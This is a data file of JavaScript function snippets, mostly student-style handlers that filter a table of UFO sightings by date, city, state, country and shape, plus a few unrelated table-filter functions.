filteredData=filteredData.filter(row=>row.datetime===date);\n // rebuild the table with the filtered data\n // if no date entered, table will have original unfiltered values\n buildTable(filteredData);\n };\n}", "function updateFilters() {\n\n // Save the element, value, and id of the filter that was changed\n let date = d3.select('#datetime').property('value');\n let city = d3.select('#city').property('value');\n let state = d3.select('#state').property('value');\n let country = d3.select('#country').property('value');\n let shape = d3.select('#shape').property('value');\n\n // If a filter value was entered then add that filterId and value\n // to the filters list. Otherwise, clear that filter from the filters object\n if (date) {\n filters.date = date;\n }\n if (city) {\n filters.city = city;\n };\n if (state) {\n filters.state = state;\n };\n if (country) {\n filters.country = country;\n };\n if (shape) {\n filters.shape = shape;\n };\n // Call function to apply all filters and rebuild the table\n filterTable();\n}", "function DateFilter(){\n // pull data for UFO sightings \n var filterDateTime = UFOsighting\n d3.event.preventDefault();\n\n // Set up a variable to hold the datetime entered by user\n var userDateTime=d3.select(\"#datetime\").property(\"value\");\n\n // Use input from field to filter the data for datetime\n // if user enters a datetime, filter data to include sightings that match the criteria\n if(userDateTime) {\n filterDateTime=filterDateTime.filter(item => item.datetime===userDateTime);\n };\n\n // run the createTable function with the filtered data\n createTable(filterDateTime);\n}", "function filteredDate(dateValue,cityValue,stateValue,countryValue,shapeValue) {\n var tableDataFiltered = tableData.filter(d => d.datetime === dateValue \n || d.city === cityValue\n || d.state === stateValue\n || d.country === countryValue\n || d.shape === shapeValue)\n return tableDataFiltered;\n}", "function filterfunction() {\n let filterdata = tableData;\n Object.entries(filters).forEach(([key, value]) => {\n filterdata = filterdata.filter(uSighting => uSighting[key] === value);\n });\n buildtable(filterdata);\n\n}", "function ufoFiltering() {\n console.log(\"Event Fired\");\n d3.event.preventDefault();\n \n \n // Remove Table Body\n d3.select(\"tbody\").selectAll(\"tr\").remove();\n let ufoFilteredData = tableData.filter(dateFilter);\n\n\n// let ufoFilteredData = tableData.filter(function(dt){\n// console.log(dt.datetime);\n// return dt.datetime === inputSearchDateValue;});\n\n ufoFilteredData.forEach(ufoSighting => {\n var row = tableBody.append(\"tr\");\n row.append(\"td\").text(ufoSighting.datetime);\n row.append(\"td\").text(ufoSighting.city)\n row.append(\"td\").text(ufoSighting.state)\n row.append(\"td\").text(ufoSighting.country)\n row.append(\"td\").text(ufoSighting.shape)\n row.append(\"td\").text(ufoSighting.durationMinutes)\n row.append(\"td\").text(ufoSighting.comments) \n });\n}", "function load_all_select() {\n\n tableData = data;\n filteredData = tableData\n // Get all inputElement values\n let inputValueDate = d3.select(\"#selectDate\").property(\"value\");\n let inputValueCity = d3.select(\"#selectCity\").property(\"value\");\n let inputValueState = d3.select(\"#selectState\").property(\"value\");\n let inputValueCountry = d3.select(\"#selectCountry\").property(\"value\");\n let inputValueShape = d3.select(\"#selectShape\").property(\"value\");\n\n console.log(inputValueDate);\n console.log(inputValueCity);\n console.log(inputValueState);\n console.log(inputValueCountry);\n console.log(inputValueShape);\n\n\n // For each inputElement where a value has been chosen from its dropdownlist, filter the \n if (inputValueDate != \"Select Date\") {var filteredData = tableData.filter(tableData => {return tableData.datetime == inputValueDate});};\n tableData = filteredData;\n if (inputValueCity != \"Select City\") {var filteredData = tableData.filter(tableData => {return tableData.city == inputValueCity});};\n tableData = filteredData;\n if (inputValueState != \"Select State\") {var filteredData = tableData.filter(tableData => {return tableData.state == inputValueState});}\n tableData = filteredData;\n if (inputValueCountry != \"Select Country\") {var filteredData = tableData.filter(tableData => {return tableData.country == inputValueCountry});};\n tableData = filteredData;\n if (inputValueShape != \"Select Shape\") {var filteredData = tableData.filter(tableData => {return tableData.shape == inputValueShape});};\n tableData = filteredData;\n\n console.log(filteredData.length);\n console.log(filteredData);\n tableData = filteredData;\n\n // Fill tbody with filteredData\n //###############################################################\n var tbody = d3.select(\"tbody\");\n\n tbody.html(\" \");\n\n filteredData.forEach((f) => {\n console.log(f);\n var row = tbody.append(\"tr\");\n Object.entries(f).forEach(([key, value]) => {\n var cell = row.append(\"td\");\n cell.text(value);\n });\n });\n}", "function runEnter() {\n\n // Prevent the page from refreshing\n d3.event.preventDefault();\n\n // Selecting the input elements and getting the raw HTML node for all filters\n var inputElement = d3.selectAll(\".form-control\");\n var inputCity = d3.select(\"#city\");\n var inputState = d3.select(\"#state\");\n var inputCountry = d3.select(\"#country\");\n var inputShape = d3.select(\"#shape\");\n\n // Getting the value property for all input elements\n var inputValue = inputElement.property(\"value\");\n console.log(inputValue);\n var inputValueCity = inputCity.property(\"value\");\n console.log(inputValueCity);\n var inputValueState = inputState.property(\"value\");\n console.log(inputValueState);\n var inputValueCountry = inputCountry.property(\"value\");\n console.log(inputValueCountry);\n var inputValueShape = inputShape.property(\"value\");\n console.log(inputValueShape);\n\n // Assigning filteredData to tableData\n var filteredData = tableData;\n console.log(filteredData);\n\n // Use the form input to filter the data by datetime, city, state, country & shape\n if (inputValue != \"\") {\n filteredData = filteredData.filter((sighting) => sighting.datetime === inputValue);\n };\n if (inputValueCity != \"\") {\n filteredData = filteredData.filter((sighting) => sighting.city === inputValueCity);\n };\n if (inputValueState != \"\") {\n filteredData = filteredData.filter((sighting) => sighting.state === inputValueState);\n };\n if (inputValueCountry != \"\") {\n filteredData = filteredData.filter((sighting) => sighting.country === inputValueCountry);\n };\n if (inputValueShape != \"\") {\n filteredData = filteredData.filter((sighting) => sighting.shape === inputValueShape);\n };\n\n // Get a reference to the table body\n var tbody = d3.select(\"tbody\");\n\n // Clear out current contents in the table\n tbody.html(\"\");\n\n // If results have no match\n if (filteredData.length === 0) {\n tbody.text(`No matches for your search.`);\n }\n // For Matching results\n else {\n filteredData.forEach((ufoSightings) => {\n var row = tbody.append(\"tr\");\n Object.entries(ufoSightings).forEach(([key, value]) => {\n var cell = row.append(\"td\");\n cell.text(value);\n });\n });\n };\n}", "function filterTable() {\n\n// 8. Set the filtered data to the tableData.\n let filteredData = tableData\n\n// 9. Loop through all of the filters and keep any data that\n// matches the filter values\nObject.entries(filters).forEach(([key, value]) => {\nfilteredData = filteredData.filter(row => row[key] === value);\n});\n\n// 10. Finally, rebuild the table using the filtered data 11.5.4\n// 11.5.4 given code After we pass filteredData in as our new argument, our full handleClick() function should look like the one below:\n buildTable(filteredData)\n}", "function submitQuery () {\n // prevent full page refresh on event\n d3.event.preventDefault();\n // define what filters to iterate over\n var keysList = [\"datetime\", \"city\", \"state\", \"country\", \"shape\"];\n\n // retrieve text from only the form fields that have an input, building a dictionary\n //of current inputs\n var formResults = {};\n keysList.forEach(function(val){\n // target the element for the key of the current iteration (\"datetime\", \"city\", etc.) and get its value\n var tempValue = d3.select(`#${val}Filter`).property(\"value\");\n // if the string isn't empty, pass that value into the dictionary\n if(!(tempValue === \"\")){\n formResults[val] = tempValue;\n };\n });\n\n\n\n// ===============================================\n // begin filtering data\n\n // use formResults object's entries as the applicable filter criteria\n // code concept researched from:\n // https://stackoverflow.com/questions/17099029/how-to-filter-a-javascript-object-array-with-variable-parameters\n function topFilter (dataInput, filterCriteria) {\n // Retrieve source data, and filter on each object(sighting report) in the array\n return dataInput.filter(function(obj){\n // Begin reviewing each object individually at this level.\n //For every key in the search criteria, see if the current object's value\n //from the source data matches the search criteria's value. If so, return\n //'true' for this object to pass into dataInput.filter()\n return Object.keys(filterCriteria).every(function(value){\n // Return 'true' to .every() if the search criteria's value matches\n //the current object's value\n //(the \"current object\" is provided by .filter(function(obj)))\n return obj[value] === filterCriteria[value];\n });\n });\n };\n\n\n // Execute filtering\n var filteredData = topFilter(tableData, formResults);\n\n\n // begin building output\n // define target for output\n var outputBody = d3.select(\"tbody\");\n // clear output of any previous queries\n outputBody.html(\"\");\n\n\n // populate table, appending new rows for each new object, and new td elemnts for each column\n filteredData.forEach(function(f_Sighting) {\n var row = outputBody.append(\"tr\");\n Object.values(f_Sighting).forEach(function(value){\n var cell = row.append(\"td\").text(value);\n });\n });\n}", "function runEnter() {\n // Prevent the page from refreshing\n d3.event.preventDefault();\n\n console.log('Filters:')\n console.log('--------')\n //DATE\n // Select the input element and get the raw HTML node\n var inputElementdate = d3.select(\"#datetime\");\n var inputValuedate = inputElementdate.property(\"value\");\n\n //Added this conditional to allow blank values to return to main table\n \n //if (inputValuedate === \"\") {\n //console.log(\"No date filter\");\n //}\n //else {\n // console.log(`The date entered is ${inputValuedate}`);\n //}\n\n //CITY\n // Select the input element and get the raw HTML node\n var inputElementcity = d3.select(\"#city\");\n var inputValuecity = inputElementcity.property(\"value\");\n // if (inputValuecity === \"\") {\n // console.log(\"No city entered\");\n // }\n // else {\n // console.log(`The city entered is ${inputValuecity}`);\n // }\n\n //STATE\n // Select the input element and get the raw HTML node\n var inputElementstate = d3.select(\"#state\");\n var inputValuestate = inputElementstate.property(\"value\");\n // if (inputValuestate === \"\") {\n // console.log(\"No state entered\");\n // }\n // else {\n // console.log(`The state entered is ${inputValuestate}`);\n // }\n\n //COUNTRY\n // Select the input element and get the raw HTML node\n var inputElementcountry = d3.select(\"#country\");\n var inputValuecountry = inputElementcountry.property(\"value\");\n // if (inputValuecountry === \"\") {\n // console.log(\"No country entered\");\n // }\n // else {\n // console.log(`The country entered is ${inputValuecountry}`);\n // }\n\n //SHAPE\n // Select the input element and get the raw HTML node\n var inputElementshape = d3.select(\"#shape\");\n var inputValueshape = inputElementshape.property(\"value\");\n // if (inputValueshape === \"\") {\n // console.log(\"No shape entered\");\n // }\n // else {\n // console.log(`The shape entered is ${inputValueshape}`);\n // }\n console.log(`Date: ${inputValuedate}`);\n console.log(`City: ${inputValuecity}`);\n console.log(`State: ${inputValuestate}`);\n console.log(`Country: ${inputValuecountry}`);\n console.log(`Shape: ${inputValueshape}`);\n //console.log(\"----------\");\n\n //filteredtable(inputValuedate, inputValuecity, inputValuestate, inputValuecountry, inputValueshape)\n filteredtable(inputValuedate, inputValuecity, inputValuestate, inputValuecountry, inputValueshape) \n\n}", "function runSearch() {\n\n // Prevent the page from refreshing\n d3.event.preventDefault();\n\n // Select the input element and get value\n var inputValue = d3.select(\"#datetime\").property(\"value\");\n\n // Set filered data to the entire dataset\n var filteredData = tableData;\n\n // Check if a date was entered, if yes filter on that date\n if (inputValue != \"\") {\n filteredData = filteredData.filter(UFOSighting => UFOSighting.datetime === inputValue);\n }\n\n // Call function to build the html table\n buildTable(filteredData);\n}", "function runEnter() {\n\n // Prevent the page from refreshing\n d3.event.preventDefault();\n\n // Select the input element and get the raw HTML node\n var inputElement = d3.select(\"#datetime\");\n let ufoFilter = tableData\n\n //console.log(inputElement);\n\n // Get the value property of the input element\n var inputValue = inputElement.property(\"value\");\n\n // Use the form input to filter the data by date\n \n var i;\n var table = document.getElementById(\"ufo-table\");\n var tr = table.getElementsByTagName(\"tr\");\n for (i = 0; i < tr.length; i++) {\n td = tr[i].getElementsByTagName(\"td\")[0];\n if (td) {\n if (td.innerText === inputValue) {\n tr[i].style.display = \"\";\n//hide the rows that don't match.\n } else {\n tr[i].style.display = \"none\";\n }\n }\n }\n\n\n console.log(inputValue);\n\n\n // => is a shortcut for funtion and return\n // the d and the d. can be anything, they just need to match\n //var \n ufoFilter = ufoFilter.filter(d => d.datetime == inputValue);\n console.log(ufoFilter);\n\n // var ufoFiltered = ufoFilter.map(ufo => ufo.datetime);\n // var ufoFiltered1 = ufoFilter.map(ufo => ufo.city);\n // var ufoFiltered2 = ufoFilter.map(ufo => ufo.state);\n // var ufoFiltered3 = ufoFilter.map(ufo => ufo.country);\n// var ufoFiltered4 = ufoFilter.map(ufo => ufo.shape);\n // var ufoFiltered5 = ufoFilter.map(ufo => ufo.durationMinutes);\n // var ufoFiltered6 = ufoFilter.map(ufo => ufo.comments);\n\n //d3.select(\"tbody\").html(\"\");\n\n // buildTable(ufoFiltered);\n // buildTable(ufoFiltered1);\n // buildTable(ufoFiltered2);\n // buildTable(ufoFiltered3);\n // buildTable(ufoFiltered4);\n // buildTable(ufoFiltered5);\n //buildTable(ufoFiltered6);\n\n\n \n\n\n }", "function searchButton() {\r\n var filterDate = date.value;\r\n var filterState = state.value.trim().toLowerCase();\r\n var filterCity = city.value.trim().toLowerCase();\r\n var filterCountry = country.value.trim().toLowerCase();\r\n var filterShape = shape.value.trim().toLowerCase();\r\n// Clear all the fields\r\nfunction resetButton(){\r\n populate();\r\n}\r\n\r\n// Populate the data table when page loads for first time\r\npopulate();\r\n}", "function filterTable() {\n \n // 8. Set the filtered data to the tableData.\n var filterData = tableData\n \n // 9. Loop through all of the filters and keep any data that\n // matches the filter values\n Object.entries(dataFilter).forEach(([key, value])=>{\n filterData = filterData.filter(row => row[key] === value);\n })\n \n // 10. Finally, rebuild the table using the filtered data\n buildTable(filterData);\n }", "function tableFilter(tableList){\n mydicts = testFilter()\n\nconsole.log(mydicts)\n if(mydicts.date){ if ( filteredData){\n\n var filteredData = filteredData.filter(ufo=> ufo.datetime==mydicts.date)}\n\n else{var filteredData = tableList.filter(ufo=> ufo.datetime==mydicts.date)\n\n }\n\n\n }\n if(mydicts.city){\n if ( filteredData){\n\n var filteredData = filteredData.filter(ufo=> ufo.city==mydicts.city)}\n \n else{var filteredData = tableList.filter(ufo=> ufo.city==mydicts.city)\n \n }}\n\n if(mydicts.state){if ( filteredData){\n\n var filteredData = filteredData.filter(ufo=> ufo.state==mydicts.state)}\n \n else{var filteredData = tableList.filter(ufo=> ufo.state==mydicts.state)\n \n }}\n \n if(mydicts.country){if ( filteredData){\n\n var filteredData = filteredData.filter(ufo=> ufo.country==mydicts.country)}\n \n else{var filteredData = tableList.filter(ufo=> ufo.country==mydicts.country)\n \n }}\n\n if(mydicts.shape){if (filteredData){\n\n var filteredData = filteredData.filter(ufo=> ufo.shape==mydicts.shape)}\n \n else{var filteredData = tableList.filter(ufo=> ufo.shape==mydicts.shape)\n \n }}\n \n\nconsole.log(filteredData)\n\n return filteredData\n }", "function handleSearchButtonClick() { \n var filterdt = datetimeInput.value.trim();\n \n filterData = dataSet.filter(function(ovni)\n {\n var dt = ovni.datetime;\n return dt === filterdt;\n });\n \nrenderTable();\n}", "function filterList() {\n var inputElement = d3.select(\".form-control\")\n var inputValue = inputElement.property(\"value\")\n \n //select table and body elements\n var table = d3.select(\".table\")\n var tbody = d3.select(\"tbody\")\n \n //clear table body\n tbody.text(\"\")\n \n //filter data for date entered\n filteredData = data.filter(d => d.datetime === inputValue)\n //populate table with filtered list data\n filteredData.forEach(function(UFOsiting) {\n \n // Prevent the page from refreshing\n var row = tbody.append(\"tr\")\n Object.entries(UFOsiting).forEach(function([key, value]) {\n var dataElement = row.append(\"td\")\n dataElement.text(value)\n });\n });\n}", "function handleClick() {\n //grab the datetime value from the filter\n let date = d3.select(\"#datetime\").property('value');\n let filteredData = tableData;\n\n //Check to see fi a date was entered and filter the data using that date.\n if (date) {\n //apply 'filter' to the table data to only keep the rows\n //where the 'datetime' value matches the filter value\n filteredData = filteredData.filter(row => row.datetime === date);\n }\n\n //Rebuild the table using the filtered data\n //@NOTE: if no date was entered, then filteredData will\n //just be the original tableData\n buildTable(filteredData);\n}", "function userInput() {\n var input, filter, table, tr, td, i, txtValue;\n input = document.getElementById(\"datetime\");\n filter = input.value.toUpperCase();\n table = document.getElementById(\"ufo-table\");\n tr = table.getElementsByTagName(\"tr\");\n for (i = 0; i < tr.length; i++) {\n td = tr[i].getElementsByTagName(\"td\")[0];\n if (td) {\n txtValue = td.textContent || td.innerText;\n if (txtValue.toUpperCase().indexOf(filter) > -1) {\n tr[i].style.display = \"\";\n } else {\n tr[i].style.display = \"none\";\n }\n } \n }\n}", "function input() {\n\n // Prevent the page from refreshing so the progress is not lost\n d3.event.preventDefault();\n \n // Create JS Object for multiple input values\n var input_value = {};\n // Input for date time\n input_value.datetime = d3.select(\"#datetime\").property(\"value\");\n // Input for city\n input_value.city = d3.select(\"#city\").property(\"value\").toLowerCase();\n // Input for state\n input_value.state = d3.select(\"#state\").property(\"value\").toLowerCase();\n // Input for country\n input_value.country = d3.select(\"#country\").property(\"value\").toLowerCase();\n // Input for shape\n input_value.shape = d3.select(\"#shape\").property(\"value\").toLowerCase();\n // Input for duration\n input_value.duration_minutes = d3.select(\"#durationMinutes\").property(\"value\");\n // Input for comments\n input_value.comments = d3.select(\"#comments\").property(\"value\");\n \n \n // Iterate JS Object\n var filtered_data = table_data;\n \n // Filter on each input value if one exists\n Object.entries(input_value).forEach(([key, value]) => {\n if (value.length > 0) {\n filtered_data = filtered_data.filter(item => item[key] === value); \t\n console.log(filtered_data);\n }\n\n });\n console.log(filtered_data);\n\n // Clears HTML table body and provide filtered results\n tbody.html(\"\");\n results(filtered_data);\n \n}", "function runChange() {\n\n // Takes the input of the form.\n var inputdate = d3.select(\"#datetime\");\n var inputDate = inputdate.property(\"value\");\n\n var inputcity = d3.select(\"#city\");\n var inputCity = inputcity.property(\"value\").toLowerCase();\n\n var inputstate = d3.select(\"#state\");\n var inputState = inputstate.property(\"value\").toLowerCase();\n\n var inputcountry = d3.select(\"#country\");\n var inputCountry = inputcountry.property(\"value\").toLowerCase();\n\n var inputshape = d3.select(\"#shape\");\n var inputShape = inputshape.property(\"value\").toLowerCase();\n \n // Check to see if the value is correct.\n console.log(inputDate);\n console.log(inputCity);\n console.log(inputState);\n console.log(inputCountry);\n console.log(inputShape);\n\n // Filter for the data\n if(!inputDate){\n var filteredDate = tableData;\n }\n else{\n var filteredDate = tableData.filter(alien => alien.datetime === inputDate);\n }\n \n if (!inputCity){\n var filteredCity = filteredDate;\n }\n else{\n var filteredCity = filteredDate.filter(alien => alien.city === inputCity);\n }\n\n if (!inputState){\n var filteredState = filteredCity;\n }\n else{\n var filteredState = filteredCity.filter(alien => alien.state === inputState);\n }\n\n if (!inputCountry){\n var filteredCountry = filteredState;\n }\n else{\n var filteredCountry = filteredState.filter(alien => alien.country === inputCountry);\n }\n\n if (!inputShape){\n var filteredShape = filteredCountry;\n }\n else{\n var filteredShape = filteredCountry.filter(alien => alien.shape === inputShape);\n }\n\n filteredData = filteredShape;\n console.log(filteredData);\n}", "function handleSearchButtonClick() {\n \n filteredData = dataSet;\n // Format the user's search by removing leading and trailing whitespace, lowercase the string\n var filterDatetime = $dateInput.value.trim().toLowerCase();\n var filterCity = $cityInput.value.trim().toLowerCase();\n var filterState = $stateInput.value.trim().toLowerCase();\n var filterCountry = $countryInput.value.trim().toLowerCase();\n var filterShape = $shapeInput.value.trim().toLowerCase();\n\n // Set filteredAddresses to an array of all addresses whose \"state\" matches the filter\n filteredData = dataSet.filter(function(address) {\n var addressDatetime = address.datetime.toLowerCase();\n var addressCity = address.city.toLowerCase();\n var addressState = address.state.toLowerCase();\n var addressCountry = address.country.toLowerCase();\n var addressShape = address.shape.toLowerCase();\n\n\n\n if ((addressDatetime===filterDatetime || filterDatetime == \"\") && \n (addressCity === filterCity || filterCity == \"\") && \n (addressState === filterState || filterState == \"\") &&\n (addressCountry === filterCountry || filterCountry == \"\") && \n (addressShape === filterShape || filterShape ==\"\")){\n \n return true;\n }\n return false;\n console.log(filteredData);\n });\nloadList();\n}", "function filter_list() { \n region_filter=[\"in\", \"Region\"]\n if ($(region_select).val()){\n for (var i = 0; i < $(region_select).val().length;i++){\n region_filter.push( $(region_select).val()[i])\n }\n }\n version_filter =[\"in\", \"HWISE_Version\"]\n if ($(Version_select).val()){\n for (var j = 0; j < $(Version_select).val().length;j++){\n version_filter.push( Number($(Version_select).val()[j]))\n }\n }\n\n filter_combined = [\"all\"]\n if (year_value.innerText != \"All\") {\n filter_combined.push([\"==\",\"Start\",year_value.innerText])\n }\n\n if (version_filter[2]){\n if (region_filter[2]) {\n filter_combined.push(region_filter)\n filter_combined.push(version_filter)\n }\n else { \n filter_combined.push([\"in\", \"HWISE_Version\",100])\n }\n }\n else {\n filter_combined.push([\"in\", \"HWISE_Version\",100])\n }\n jun.map.setFilter(\"points\", filter_combined)\n if (version_filter[0]){\n if (region_filter[0]) {\n if (year_value.innerText != \"All\"){\n final_filter = '(region_filter.indexOf(Region_search[i]) >= 0) '+\n '&& (version_filter.indexOf(Hwise_search[i]) >= 0)'+ \n '&& (Start_search[i] == year_value.innerText) '\n }\n else {\n final_filter = '(region_filter.indexOf(Region_search[i]) >= 0) '+\n '&& (version_filter.indexOf(Hwise_search[i]) >= 0)'\n }\n }\n else {\n final_filter = '(Hwise_search[i]) == 100)'\n }\n }\n else {\n final_filter = '(Hwise_search[i]) == 100)'\n }\n return [region_filter.slice(2), version_filter.slice(2), final_filter]\n}", "function handleSearchButtonClick(){\n var filterDate = $dateTimeInput.value.trim();\n var filterCity = $cityInput.value.trim().toLowerCase();\n var filterState = $stateInput.value.trim().toLowerCase();\n var filterCountry = $countryInput.value.trim().toLowerCase();\n var filterShape = $shapeInput.value.trim().toLowerCase();\n\n if (filterDate != \"\") {\n filteredData = filteredData.filter(function(date) {\n var dataDate = date.datetime;\n return dataDate === filterDate;\n });\n }\n\n if (filterCity != \"\"){\n filterCity = filteredData.filter(function(city) {\n var dataCity = city.city;\n return dataCity === filterCity;\n });\n }\n\n if (filterState != \"\"){\n filterState = filteredData.filter(function(state) {\n var dataState = state.state;\n return dataState === filterState;\n });\n }\n\n if (filterCountry != \"\") {\n filterContry = filteredData.filter(function(country) {\n var dataContry = contry.country;\n return dataCountry === filterCountry;\n });\n }\n\n if (filterShape != \"\") {\n filterShape = filteredData.filter(function(shape) {\n var dataShape = shape.shape;\n return dataShape === filterShape;\n });\n }\n\n renderTable();\n} // <--- this curly bracket('}')belongs to '{' in the beginning func handleSearchButtonClick()", "function Filter_TableRows() { // PR2019-06-09 PR2020-08-31 PR2022-03-03\n //console.log( \"===== Filter_TableRows=== \");\n //console.log( \"filter_dict\", filter_dict);\n\n // function filters by inactive and substring of fields\n // - iterates through cells of tblRow\n // - skips filter of new row (new row is always visible)\n // - if filter_name is not null:\n // - checks tblRow.cells[i].children[0], gets value, in case of select element: data-value\n // - returns show_row = true when filter_name found in value\n // - if col_inactive has value >= 0 and hide_inactive = true:\n // - checks data-value of column 'inactive'.\n // - hides row if inactive = true\n\n const data_inactive_field = null; // \"data-inactive\";\n for (let i = 0, tblRow, show_row; tblRow = tblBody_datatable.rows[i]; i++) {\n tblRow = tblBody_datatable.rows[i]\n show_row = t_Filter_TableRow_Extended(filter_dict, tblRow, data_inactive_field);\n add_or_remove_class(tblRow, cls_hide, !show_row);\n };\n }", "function filterHandler() {\n var selectedVal = filterOptions.value;\n\n if (selectedVal === \"0\") {\n render(contacts);\n } else {\n render(filterByCity(selectedVal));\n }\n}", "function runEnter() {\n //Drop the Old Table Values\n tbody.selectAll('tr').remove();\n\n //Prevent Refresh on Button Click and Form Submit\n d3.event.preventDefault();\n\n //Assign the User Inputs to their Respective Variables\n var date_value = d3.select('#datetime').property('value');\n var city_value = d3.select('#city').property('value');\n var state_value = d3.select('#state').property('value');\n var country_value = d3.select('#country').property('value');\n var shape_value = d3.select('#shape').property('value');\n\n\n //Print the Input Values to the Console\n console.log(date_value);\n console.log(city_value);\n console.log(state_value);\n console.log(country_value);\n console.log(shape_value);\n\n //Apply the Filters\n\n // Apply the Datetime Filter\n if (date_value === \"\") {\n var date_filter = dt;\n }\n else {\n var date_filter = dt.filter(dt1=>dt1.datetime === date_value);\n }\n \n // Apply the City Filter\n if (city_value === \"\") {\n var city_filter = date_filter;\n }\n else {\n var city_filter = date_filter.filter(dt2=>dt2.city === city_value);\n }\n\n // Apply the State Filter\n if (state_value === \"\") {\n var state_filter = city_filter;\n }\n else {\n var state_filter = city_filter.filter(dt3=>dt3.state === state_value);\n }\n\n // Apply the Country Filter\n if (country_value === \"\") {\n var country_filter = state_filter;\n }\n else {\n var country_filter = state_filter.filter(dt4=>dt4.country === country_value);\n }\n\n // Apply the UFO Shape Filter\n if (shape_value === \"\") {\n var shape_filter = country_filter;\n }\n else {\n var shape_filter = country_filter.filter(dt5=>dt5.shape === shape_value);\n }\n\n //Print the Filtered Values to the Console\n console.log(`The data is: ${date_filter}`);\n console.log(shape_filter);\n\n\n\n //Replace the Values in the Table with the Filtered Values\n //Append the New Values\n shape_filter.forEach(function(ufo_sightings) {\n //Append Rows\n var row1 = tbody.append('tr');\n //Pull the Key-Value Pairs from Each Field in Each Row in the dt_filter\n Object.entries(ufo_sightings).forEach(function([key, value]) {\n console.log(key, value);\n //Append Cells for Each Field in Each Row\n var cell1 = row1.append('td');\n //Pull in Values to the Cells\n cell1.text(value);\n })\n })\n}", "function handleClick1(){\n d3.event.preventDefault()\n var city = d3.select(\"#city\").property(\"value\");\n var filterData = tableData;\n if (city){\n filterData = filterData.filter((row) => row.city == city);\n }\n buildTable(filterData);\n}", "function filteringStates(members) {\n var filteredArray = [];\n // Value are the letters of the State\n var selectedValue = document.getElementById(\"dropDownMenu\").value;\n\n if (selectedValue == \"ALL\") {\n createTable(members);\n } else {\n for (var i = 0; i < members.length; i++) {\n if (selectedValue.includes(members[i].state)) {\n filteredArray.push(members[i]);\n }\n }\n createTable(filteredArray);\n }\n}", "function setFilter() {\n switch (target.value) {\n case 'person':\n addFilters('all', 'id', 'phone', 'email', 'hobby');\n toggelAdvancedbtn(\"person\");\n break;\n case 'company':\n addFilters('all', 'cvr', 'name', 'phone', 'email');\n toggelAdvancedbtn(\"company\");\n break;\n case 'city':\n addFilters('all', 'zip');\n toggelAdvancedbtn();\n break;\n case 'address':\n addFilters('all', 'zip');\n toggelAdvancedbtn();\n break;\n case 'phone':\n addFilters('all', 'number');\n toggelAdvancedbtn();\n break;\n case 'hobby':\n addFilters('all', 'name');\n toggelAdvancedbtn();\n }\n}", "function handleSearchButtonClick() {\n var filterDate = $dateInput.value;\n\n // Filter on date\n if (filterDate != \"\") {\n tableData = data.filter(function(address) {\n var addressDate = address.datetime;\n return addressDate === filterDate;\n });\n } else { tableData };\n\n renderTable();\n}", "function runEnter() {\n\n // Select the user's inputs\n var inputDate = d3.select(\"#datetime\");\n var inputCity = d3.select(\"#city\");\n var inputState = d3.select(\"#state\");\n var inputCountry = d3.select(\"#country\");\n var inputShape = d3.select(\"#shape\");\n\n // Get the value property of the input elements\n var valueDate = inputDate.property(\"value\");\n var valueCity = inputCity.property(\"value\");\n var valueState = inputState.property(\"value\");\n var valueCountry = inputCountry.property(\"value\");\n var valueShape = inputShape.property(\"value\");\n\n // Filter the table using the input values\n var filters = tableData.filter(t => (t.datetime === valueDate) ||\n (t.city === valueCity) ||\n (t.state === valueState) ||\n (t.country === valueCountry) ||\n (t.shape === valueShape));\n console.log(filters);\n\n // Clear up the table\n tbody.html(\"\");\n\n // Now add the filtered list on the table\n if (filters === \"\") {\n tableData.forEach(\n function(sightings) {\n var row = tbody.append(\"tr\");\n Object.entries(sightings).forEach(\n function([key, value]) {\n var cell = row.append(\"td\");\n cell.text(value);\n }\n );\n }\n );\n \n }\n\n else {\n filters.forEach(\n function(sightings) {\n var row = tbody.append(\"tr\");\n Object.entries(sightings).forEach(\n function([key, value]) {\n var cell = row.append(\"td\");\n cell.text(value);\n }\n );\n }\n );\n }\n\n}", "function filterTable() {\n d3.event.preventDefault();\n errDisplay.text('');\n\n let inputField = d3.select('#datetime');\n let inputValue = inputField.property('value');\n let filteredTable = tableData.filter(date => date.datetime === inputValue);\n\n errDisplay.html(\"\");\n errDisplay.text(\"Did you find what you looking for?? Keep searching..\");\n\n if(filteredTable.length == 0) {\n tableInfo(tableData);\n errDisplay.html(\"\");\n errDisplay.text(\"Date out of range, please input correct date..\");\n console.log(errDisplay);\n }\n else {\n tableInfo(filteredTable);\n }\n}", "function filterAllPets (){\n filterType = \"\";\n filterAgeMin = 0;\n filterAgeMax = Number.MAX_VALUE;\n loadTableWithFilters();\n}", "function filterFunction(var1,var2)\r\n{\r\n var td;\r\n var selection = document.getElementById(var1); //Get selected dropdown value\r\n var select = selection.value; //Get the value\r\n // console.log(select); Debugging\r\n var myTable = document.getElementById(\"hitsTable\"); //Get the elements in the table\r\n var tr = myTable.getElementsByTagName(\"tr\"); //Get the rows of the table\r\n test = tr[5].getElementsByTagName(\"td\")[var2];\r\n // console.log(test.innerHTML); Debugging\r\n \r\n //Check every row of the table and see if they match with selected value from dropdown list if they do not we hide it\r\n for(let i = 0;i<tr.length; i++)\r\n {\r\n td = tr[i].getElementsByTagName(\"td\")[var2]; //Get the right column of the row nationality or year\r\n // console.log(td.innerHTML); Debugging\r\n if(td)\r\n {\r\n if(select ==\"All\") //If all we display all rows\r\n {\r\n tr[i].style.display = \"\";\r\n }\r\n else\r\n {\r\n if(td.innerHTML != select) //Hide all unmatched values\r\n {\r\n tr[i].style.display = \"none\";\r\n }\r\n else\r\n {\r\n tr[i].style.display = \"\"; //Display matched values\r\n }\r\n }\r\n }\r\n }\r\n}", "function handleClick() {\n\n// prevent refresh \nd3.event.preventDefault();\n\n// Get the date value from the filter\nvar date = d3.select(\"#datetime\").property(\"value\");\n\n// Get the city value from the filter\nvar city = d3.select(\"#city\").property(\"value\");\n\n// Get the state value from the filter\nvar state = d3.select(\"#state\").property(\"value\");\n\n// Get the country value from the filter\nvar country = d3.select(\"#country\").property(\"value\");\n\n// Get the shape value from the filter\nvar shape = d3.select(\"#shape\").property(\"value\");\n\nlet filteredData = tableData;\n\n// Apply date filter to the table data \nif (date) {\nfilteredData = filteredData.filter(row => row.datetime === date);\n}\n\n// Apply city filter to the table data \nif (city) {\nfilteredData = filteredData.filter(row => row.city === city);\n}\n\n// Apply state filter to the table data \nif (state) {\nfilteredData = filteredData.filter(row => row.state === state);\n}\n\n// Apply country filter to the table data \nif (country) {\nfilteredData = filteredData.filter(row => row.country === country);\n}\n// Apply shape filter to the table data \nif (shape) {\nfilteredData = filteredData.filter(row => row.shape === shape);\n}\n\n\n// filter the table \nbuildTable(filteredData);\n}", "function runEnter() {\n\n // Prevent the page from refreshing\n d3.event.preventDefault();\n tBody.html(\" \")\n \n 